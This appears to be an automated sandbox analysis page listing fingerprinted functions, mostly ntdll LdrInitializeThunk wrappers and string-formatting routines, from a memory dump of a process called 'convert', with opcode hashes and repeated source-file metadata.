Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1aad93dc2d119b445413b038b43a0037447d8bbee276fd36691da247e5ec379b
Instruction ID: dd2e7db2da1fffd26d77c626e0a95f2e356c8980b2d6cddd639f08e3958a576b
Opcode Fuzzy Hash: 1aad93dc2d119b445413b038b43a0037447d8bbee276fd36691da247e5ec379b
Instruction Fuzzy Hash: 43900261203404034105B55C4414616400A87E0601B55C021E1014A90EC66589956125

Function 036D2BE0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2BEA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ffbe9bac714d41660f06f50e1e1a02849c77e0cf3286b196a2638d41b0a71b2d
Instruction ID: 44a5fa8b16e81d944ef3231a87941d98216a34726a532abbef8a6931e7fff768
Opcode Fuzzy Hash: ffbe9bac714d41660f06f50e1e1a02849c77e0cf3286b196a2638d41b0a71b2d
Instruction Fuzzy Hash: 7D90023120644C42D140B55C4404A46001587D0705F55C011A0064B94E97658E59B661

Function 036D2BF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2BFA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 251d80be463240d639f191a5632204896118017eae75de9bb215edc6280204a0
Instruction ID: 327e53e554a678b6d5542c78925ee4eb6eedde9e8dca380c6678d04316821287
Opcode Fuzzy Hash: 251d80be463240d639f191a5632204896118017eae75de9bb215edc6280204a0
Instruction Fuzzy Hash: 9290023120240C02D180B55C440464A000587D1701F95C015A0025B54ECB558B5D77A1

Function 036D2BA0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2BAA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f060296167cabf48ec67b97417bfbb61ab97c718c715eb282fd5f3fffa8dede9
Instruction ID: 3b30d53203c5c1959f2fe832271e606a45d79f4f13a3904d8777967007d17c99
Opcode Fuzzy Hash: f060296167cabf48ec67b97417bfbb61ab97c718c715eb282fd5f3fffa8dede9
Instruction Fuzzy Hash: C290023160640C02D150B55C4414746000587D0701F55C011A0024B54E87958B5976A1

Function 036D2AF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2AFA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b876c35a0998c95285f00248ff0a84866ea712e33aacbc2222c3826888394ac9
Instruction ID: 0dc674b32726604f82aee70fc7da8adcefe2ccfed40595757c35974fe26393fb
Opcode Fuzzy Hash: b876c35a0998c95285f00248ff0a84866ea712e33aacbc2222c3826888394ac9
Instruction Fuzzy Hash: CB900225222404020145F95C060450B044597D6751395C015F1416A90DC76189695321

Function 036D2AD0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2ADA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3d0a93ad57f1e96bc172b93423cea18f07b959564ea99a8e415d6a5037f25716
Instruction ID: 9b6cc34f5e7a648c9293778136c0a25793ce8b9605ab6d623d1f445e4ed921da
Opcode Fuzzy Hash: 3d0a93ad57f1e96bc172b93423cea18f07b959564ea99a8e415d6a5037f25716
Instruction Fuzzy Hash: 54900435313404030105FD5C07045070047C7D5751355C031F1015F50DD771CD755131

Function 036D39B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D39BA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 153d8a81ed4e6158c133540c53a21271b21cf78b7731744c66f65ae552fd281b
Instruction ID: 06a96c3983d87f672ecda9eed0a5dbbe574aacd788943322c0c7f152913f5f47
Opcode Fuzzy Hash: 153d8a81ed4e6158c133540c53a21271b21cf78b7731744c66f65ae552fd281b
Instruction Fuzzy Hash: 6890022124645502D150B55C44046164005A7E0601F55C021A0814A94E869589596221

Function 036D2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2F3A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af36c5023c5a6ecd918d5c55c1dfc48da5b348b401c09e811796f9c06380d7e6
Instruction ID: eb83e83ddf503e83b4f1dbc8c226b3f52604436b1652db9871a7396500d06b1c
Opcode Fuzzy Hash: af36c5023c5a6ecd918d5c55c1dfc48da5b348b401c09e811796f9c06380d7e6
Instruction Fuzzy Hash: 9790026134240842D100B55C4414B060005C7E1701F55C015E1064A54E8759CD566126

Function 036D2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2FEA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 53bc1eb953196244fccc51e4cb9c64259e268d22624861b586aa48532f99d8ac
Instruction ID: c7eefef1c59467e041627a2ef1317104164d743a9cd866bb6e1ca41b35071f02
Opcode Fuzzy Hash: 53bc1eb953196244fccc51e4cb9c64259e268d22624861b586aa48532f99d8ac
Instruction Fuzzy Hash: 61900221212C0442D200B96C4C14B07000587D0703F55C115A0154A54DCA5589655521

Function 036D2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2FBA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1369e7c274a76ebae977586164aad3972adaabb0815b82400cd4d12aeba7dd03
Instruction ID: cab548f4fbc2f79b61ddc4808429969bfe6879289703accfe7e854069cc7b297
Opcode Fuzzy Hash: 1369e7c274a76ebae977586164aad3972adaabb0815b82400cd4d12aeba7dd03
Instruction Fuzzy Hash: EC900221602404424140B56C88449064005ABE1611755C121A0998A50E869989695665

Function 036D2EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2EEA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 241d720bfc44b0aa83eb4739d448aebc2ed86783514e63ce770fe54b6e52d37b
Instruction ID: 76f48c8385af25ce8a72eddf3b17549d6ce43628222a2cd2cda90ba467457c3e
Opcode Fuzzy Hash: 241d720bfc44b0aa83eb4739d448aebc2ed86783514e63ce770fe54b6e52d37b
Instruction Fuzzy Hash: D290026120280803D140B95C4804607000587D0702F55C011A2064A55F8B698D556135

Function 036D2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2E8A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d90b5aefeb7958a940118efb8a77d4bbdf06296c9a5039a1bd84ecd1573dd95
Instruction ID: 971782c324f7046f76378b793d1a7d3570ce9fcec78f281c48de0dd54bed254f
Opcode Fuzzy Hash: 2d90b5aefeb7958a940118efb8a77d4bbdf06296c9a5039a1bd84ecd1573dd95
Instruction Fuzzy Hash: A290022160240902D101B55C4404616000A87D0641F95C022A1024A55FCB658A96A131

Function 036D2D30 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2D3A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3bffa65d3099273e4bc6c0b8fcd57dc54ea5be077cf9532836a5e64ffeee7f30
Instruction ID: 3a6691c5655d00e374c91186e045722e24dc644244f50991470d220daef0d55b
Opcode Fuzzy Hash: 3bffa65d3099273e4bc6c0b8fcd57dc54ea5be077cf9532836a5e64ffeee7f30
Instruction Fuzzy Hash: D790022130240403D140B55C54186064005D7E1701F55D011E0414A54DDA55895A5222

Function 036D2D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2D1A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a2c34cb09b794d98ef11af1e3c4a7fef95a6de78c543c6d71059f3e71b3cecc9
Instruction ID: 26e1f4b3b43952f382de700a15e1bc6b642a9aeaf962393d6284bbddf9584987
Opcode Fuzzy Hash: a2c34cb09b794d98ef11af1e3c4a7fef95a6de78c543c6d71059f3e71b3cecc9
Instruction Fuzzy Hash: 0A90022921340402D180B55C540860A000587D1602F95D415A0015A58DCA55896D5321

Function 036D2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2DFA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f9b8a979b6c8d112dd7b861ef17cd23b102ac48affffd9ea63fbadeec40218d7
Instruction ID: f641050121c8e89e8aedd5079c2a77e5fffc81948b37808feaa277dcdfbbe40b
Opcode Fuzzy Hash: f9b8a979b6c8d112dd7b861ef17cd23b102ac48affffd9ea63fbadeec40218d7
Instruction Fuzzy Hash: 3E90023120240813D111B55C4504707000987D0641F95C412A0424A58E97968A56A121

Function 036D2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 036D2DDA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bdcc2fcb9d1c0238dacea2ef3ddfeb78769e79fd1855db3997c4c7746bcf0322
Instruction ID: 7f7d5516b383ae434f29b51747e4a6019f376d253e74f4bae0fd99f804326a13
Opcode Fuzzy Hash: bdcc2fcb9d1c0238dacea2ef3ddfeb78769e79fd1855db3997c4c7746bcf0322
Instruction Fuzzy Hash: A3900221243445525545F55C4404507400697E0641795C012A1414E50D8666995AD621

Function 036D2C60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2C6A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 227319427c6acd0063cfc2a856e46ed00ffedfca2c8834787d2433d683fcb56b
Instruction ID: c7551dbf85142a5a0de1e784b4c8e18734de73f6abb73d5bd675f1f5d92e68a5
Opcode Fuzzy Hash: 227319427c6acd0063cfc2a856e46ed00ffedfca2c8834787d2433d683fcb56b
Instruction Fuzzy Hash: F090023120240C42D100B55C4404B46000587E0701F55C016A0124B54E8755C9557521

Function 036D2C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2C7A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dc440102ec7a03c38aa96adbce5fda54cc46d420cd439edeaa1653c841c7f24a
Instruction ID: bcfaf5e9d7545fd063be67845673c27eed6d3718af79e1711747cf1be65dcc99
Opcode Fuzzy Hash: dc440102ec7a03c38aa96adbce5fda54cc46d420cd439edeaa1653c841c7f24a
Instruction Fuzzy Hash: C990023120248C02D110B55C840474A000587D0701F59C411A4424B58E87D589957121

Function 036D2CA0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2CAA

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 12cab96e3f632c1e7a12b2187e223c49d451f61f1653f4d29a5c6539698f73d3
Instruction ID: 6086b56b9beaeb71e03d8a0ee1e2a8dce88daeb212de4954d569d0e40e26bb55
Opcode Fuzzy Hash: 12cab96e3f632c1e7a12b2187e223c49d451f61f1653f4d29a5c6539698f73d3
Instruction Fuzzy Hash: 0690023120240802D100B99C5408646000587E0701F55D011A5024A55FC7A589956131

Function 036D2C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 036D2C24

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5c3c40a9954338029f7e350fb596c9536fc4ff6eab5e7c945aa91dc814a993ac
Instruction ID: 76adcba9cdc47d0660f4d44324af13024c25d47163e0d911e3e681d975f8d833
Opcode Fuzzy Hash: 5c3c40a9954338029f7e350fb596c9536fc4ff6eab5e7c945aa91dc814a993ac
Instruction Fuzzy Hash: 1CB09B71D025C5C5DA51E7644708717790467D1701F19C461D2030751F4779C5D5E175

Non-executed Functions

Function 035604DE Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2977038161.0000000003560000.00000040.00000800.00020000.00000000.sdmp, Offset: 03560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3560000_convert.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b2e370137db28b8dc2ede0fb6c7066a7cbe80b00291c75afb970b2b99001324
Instruction ID: 5a2d5a3052375598e7214313cf16f6602469ade3f5daf83d8fa36b755741579b
Opcode Fuzzy Hash: 0b2e370137db28b8dc2ede0fb6c7066a7cbe80b00291c75afb970b2b99001324
Instruction Fuzzy Hash: D641187551DB4A4FD368EF68E0826B6F3F6FF95310F50052DC986C7262EA70D8428785

Function 036D2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 036D293C
___swprintf_l.LIBCMT ref: 036D295E
___swprintf_l.LIBCMT ref: 036D29A3
___swprintf_l.LIBCMT ref: 0370A52E

Strings

:%u.%u.%u.%u, xrefs: 0370A5B8
::ffff:0:%u.%u.%u.%u, xrefs: 0370A54E
ffff:, xrefs: 0370A504
::%hs%u.%u.%u.%u, xrefs: 0370A527

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: c2057444ebd422cd92966bb299aed92e8e8b1a89d99b03e80ec8f8d0e127822e
Instruction ID: 4533277a9257c4d60ff6af595fea8793b0f9f287a7560cb38cffe19a7957c5d2
Opcode Fuzzy Hash: c2057444ebd422cd92966bb299aed92e8e8b1a89d99b03e80ec8f8d0e127822e
Instruction Fuzzy Hash: B6511BBAE04216BFCB20DF99C9A097EF7F8BB08200B148669E465D7741D374DE548BE0

Function 036C7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 03704725
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 03704742
CLIENT(ntdll): Processing section info %ws..., xrefs: 03704787
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 03704655
ExecuteOptions, xrefs: 037046A0
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 037046FC
Execute=1, xrefs: 03704713

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: fe153d45b7abe4d40d0b58c4d252ec151c3b7543b5ebb5b10a3410f6a83bb5c2
Instruction ID: dc3e3f906cc62417be084e0786251198bc0266ad14b076d487381ed4d1091816
Opcode Fuzzy Hash: fe153d45b7abe4d40d0b58c4d252ec151c3b7543b5ebb5b10a3410f6a83bb5c2
Instruction Fuzzy Hash: B9512935A10359BEDF10EBA5DD89FBEB3A8EF05300F1401ADD605AB281EB719E518F64

Function 036DB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 036DB6BF

Strings

0, xrefs: 036DB66F
0, xrefs: 036DB695
-, xrefs: 036DB650
+, xrefs: 036DB65A

Memory Dump Source

Source File: 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: true

Associated: 00000013.00000002.2977110762.0000000003789000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.000000000378D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3660000_convert.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: 862b0b0aa36cd2f31ac40c3a326731b19de7d789c32e0f71c5e1e24dd9d0e33e
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: E681F034E052899FDF24CF68C9907FEBBB2AF45350F1E425AE861A7398C7308851CB64

